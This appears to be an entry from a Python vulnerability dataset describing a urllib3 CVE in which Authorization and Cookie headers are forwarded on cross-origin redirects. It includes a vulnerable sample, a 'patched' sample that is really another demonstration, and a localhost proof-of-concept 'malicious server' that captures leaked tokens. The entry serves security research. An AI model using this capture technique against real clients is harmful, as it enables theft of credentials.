VAITP Dataset

← Back to the dataset

CVE-2026-44431

urllib3 forwards sensitive headers on cross-origin redirects.

  • CVSS 8.2
  • CWE-200
  • Information Leakage
  • Remote

urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(…, assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0.

CVSS base score
8.2
Published
2026-05-13
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Incorrect Functionality
Category
Information Leakage
Subcategory
Information Disclosure
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
urllib3
Fixed by upgrading
Yes

Solution

Upgrade urllib3 to 2.7.0.

Vulnerable code sample

import urllib3
import threading
import time
from http.server import HTTPServer, BaseHTTPRequestHandler

# --- Server Setup to Simulate the Vulnerability ---

# This server receives the initial request and redirects to a different origin
class RedirectingServer(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"[INITIAL SERVER] Received headers:\n{self.headers}")
        self.send_response(302)
        # Redirect to the "malicious" target server on a different port
        self.send_header('Location', 'http://localhost:8001/')
        self.end_headers()

# This server acts as the cross-origin target of the redirect
class TargetServer(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"\n[CROSS-ORIGIN TARGET] Received headers:\n{self.headers}")
        print(">>> Vulnerability demonstrated: 'Authorization' header was forwarded. <<<\n")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Captured.")

def run_server(server_class, port):
    server_address = ('localhost', port)
    with HTTPServer(server_address, server_class) as httpd:
        httpd.serve_forever()

# --- Main Exploit Logic ---

if __name__ == "__main__":
    # Start the servers in background threads
    redirector = threading.Thread(target=run_server, args=(RedirectingServer, 8000), daemon=True)
    target = threading.Thread(target=run_server, args=(TargetServer, 8001), daemon=True)
    redirector.start()
    target.start()
    time.sleep(0.5) # Wait for servers to be ready

    # A dummy proxy is required to use ProxyManager, as per the CVE description.
    # It does not need to be running for the vulnerable code path to be triggered.
    proxy_url = "http://localhost:9999"
    
    # 1. Instantiate the ProxyManager
    http = urllib3.ProxyManager(proxy_url)

    # 2. Define sensitive headers for the initial request
    sensitive_headers = {
        'Authorization': 'Bearer my-secret-token',
        'Cookie': 'sessionid=verysecret'
    }

    initial_url = 'http://localhost:8000/'
    
    print("[CLIENT] Making request to initial server with sensitive headers...\n")

    try:
        # 3. Use the low-level API and set assert_same_host=False
        # This allows the cross-origin redirect, but the vulnerability is that
        # sensitive headers are not stripped as they should be.
        conn = http.connection_from_url(initial_url)
        response = conn.urlopen(
            method='GET',
            url='/',
            headers=sensitive_headers,
            redirect=True,
            assert_same_host=False  # This is the key flag to trigger the behavior
        )
    except urllib3.exceptions.MaxRetryError as e:
        # We expect an error because the dummy proxy isn't running.
        # However, the vulnerable requests have already been sent and logged by our servers.
        print(f"[CLIENT] Request failed as expected (no proxy running): {e.reason}")
        print("[CLIENT] Check server logs above to see the leaked headers.")

    time.sleep(0.5) # Allow final server output to print

Patched code sample

import http.server
import socketserver
import threading
import urllib3

# NOTE: This code demonstrates the BEHAVIOR of the fix for a vulnerability
# like the one described. The actual fix is within the urllib3 library's
# internal code (version >= 2.7.0). This script will behave differently
# depending on the installed urllib3 version.

# --- Server Setup to Simulate the Vulnerable Scenario ---

# 1. A server that receives the initial request and redirects to a different origin.
class RedirectingHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print("\n[ORIGIN SERVER] Received request with headers:")
        print(self.headers)
        self.send_response(302)
        # Redirect to a different port (cross-origin)
        self.send_header('Location', 'http://127.0.0.1:8002/final_destination')
        self.end_headers()

# 2. A server at the final destination to inspect received headers.
class FinalDestinationHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        print("\n[FINAL DESTINATION] Received request with headers:")
        print(self.headers)
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"Request received. Check console for headers.")
        # This is where the vulnerability check happens.
        # If 'Authorization' header is present, urllib3 is vulnerable.
        # If 'Authorization' is stripped, the fix is working.

# --- Helper to run servers in the background ---
def run_server(handler_class, port):
    with socketserver.TCPServer(("", port), handler_class) as httpd:
        print(f"Serving at port {port}")
        httpd.serve_forever()

# --- Main Demonstration Logic ---
if __name__ == "__main__":
    # Start the two servers in separate threads
    origin_server = threading.Thread(target=run_server, args=(RedirectingHandler, 8001))
    destination_server = threading.Thread(target=run_server, args=(FinalDestinationHandler, 8002))
    origin_server.daemon = True
    destination_server.daemon = True
    origin_server.start()
    destination_server.start()

    print(f"Using urllib3 version: {urllib3.__version__}")
    print("--- Starting request ---")

    # This is not a real proxy, but we use ProxyManager as the CVE specifies.
    # The behavior is identical for this vulnerability demonstration.
    manager = urllib3.ProxyManager("http://127.0.0.1:9999") # Dummy proxy

    sensitive_headers = {
        'Authorization': 'Bearer my_secret_token_12345',
        'X-Custom-Header': 'SomeValue'
    }

    try:
        # Get a connection object for the origin server
        conn = manager.connection_from_url("http://127.0.0.1:8001")

        # Make the request using the low-level API specified in the CVE
        # - assert_same_host=False is key to allowing the cross-origin redirect
        response = conn.urlopen(
            method='GET',
            url='/',
            headers=sensitive_headers,
            redirect=True,
            assert_same_host=False
        )

        print(f"\n[CLIENT] Final response status: {response.status}")
        response.close()

    except Exception as e:
        print(f"\n[CLIENT] An error occurred: {e}")

    print("\n--- Analysis ---")
    print("Check the headers received by the [FINAL DESTINATION] server.")
    print("- If 'Authorization' is NOT present, the fix is working correctly.")
    print("- If 'Authorization' IS present, you are using a vulnerable version of urllib3.")

Payload

import urllib3
from http.server import HTTPServer, BaseHTTPRequestHandler
import threading
import time

# This script demonstrates the vulnerability by running a malicious server and a vulnerable client.
# 1. The Malicious Server listens on http://127.0.0.1:8001.
#    - When it receives a request to /redirect, it issues a 302 redirect to http://localhost:8001/capture.
#      (Note: '127.0.0.1' and 'localhost' are treated as different origins).
#    - The /capture endpoint checks for and prints the 'Authorization' header.
# 2. The Vulnerable Client uses a vulnerable version of urllib3.
#    - It makes a request to http://127.0.0.1:8001/redirect with a sensitive 'Authorization' header.
#    - It uses the specific vulnerable pattern: ProxyManager.connection_from_url().urlopen() with assert_same_host=False.
#
# If the vulnerability is present, the server will print a "SUCCESS" message indicating the token was leaked.

# --- Malicious Server ---
REDIRECT_TARGET = "http://localhost:8001/capture"
SERVER_ADDR = "127.0.0.1"
SERVER_PORT = 8001

class MaliciousRedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/redirect':
            print(f"[SERVER] Received request on /redirect. Redirecting to {REDIRECT_TARGET}")
            self.send_response(302)
            self.send_header('Location', REDIRECT_TARGET)
            self.end_headers()
        elif self.path == '/capture':
            auth_header = self.headers.get('Authorization')
            print("[SERVER] Received redirected request on /capture.")
            if auth_header:
                print(f"\n[!!!] SUCCESS: Vulnerability exploited. Leaked Header: Authorization: {auth_header}\n")
            else:
                print("\n[-] FAILURE: Authorization header was NOT forwarded. The client is likely not vulnerable.\n")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(b"Captured.")
        else:
            self.send_response(404)
            self.end_headers()

    def log_message(self, format, *args):
        # Suppress noisy server logs for a clean demonstration
        return

def run_server(httpd):
    print(f"[INFO] Malicious server starting on http://{SERVER_ADDR}:{SERVER_PORT}")
    httpd.serve_forever()

# --- Vulnerable Client ---
def exploit_vulnerability():
    print(f"[CLIENT] Using urllib3 version: {urllib3.__version__}")
    
    initial_url = f"http://{SERVER_ADDR}:{SERVER_PORT}/redirect"
    sensitive_headers = {"Authorization": "Bearer secret-token-that-should-not-be-leaked"}

    # A dummy proxy URL is needed to initialize ProxyManager. It will not be used.
    http = urllib3.ProxyManager("http://dummy-proxy:8080")

    print(f"[CLIENT] Making request to {initial_url} with sensitive headers...")
    try:
        # The specific call pattern mentioned in the CVE description
        conn = http.connection_from_url(initial_url)
        response = conn.urlopen(
            method="GET",
            url=initial_url,
            headers=sensitive_headers,
            redirect=True,
            assert_same_host=False  # This flag allows the cross-origin redirect
        )
        print(f"[CLIENT] Request finished. Final URL: {response.geturl()}, Status: {response.status}")
        response.close()
    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")

# --- Main Execution ---
if __name__ == "__main__":
    server_address = (SERVER_ADDR, SERVER_PORT)
    httpd = HTTPServer(server_address, MaliciousRedirectHandler)
    
    server_thread = threading.Thread(target=run_server, args=(httpd,))
    server_thread.daemon = True
    server_thread.start()
    
    time.sleep(1)  # Give the server a moment to start up
    
    exploit_vulnerability()
    
    time.sleep(1)  # Allow the server to process and print the final request
    
    httpd.shutdown()
    print("[INFO] Server has been shut down.")

Cite this entry

@misc{vaitp:cve202644431,
  title        = {{urllib3 forwards sensitive headers on cross-origin redirects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44431},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44431/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::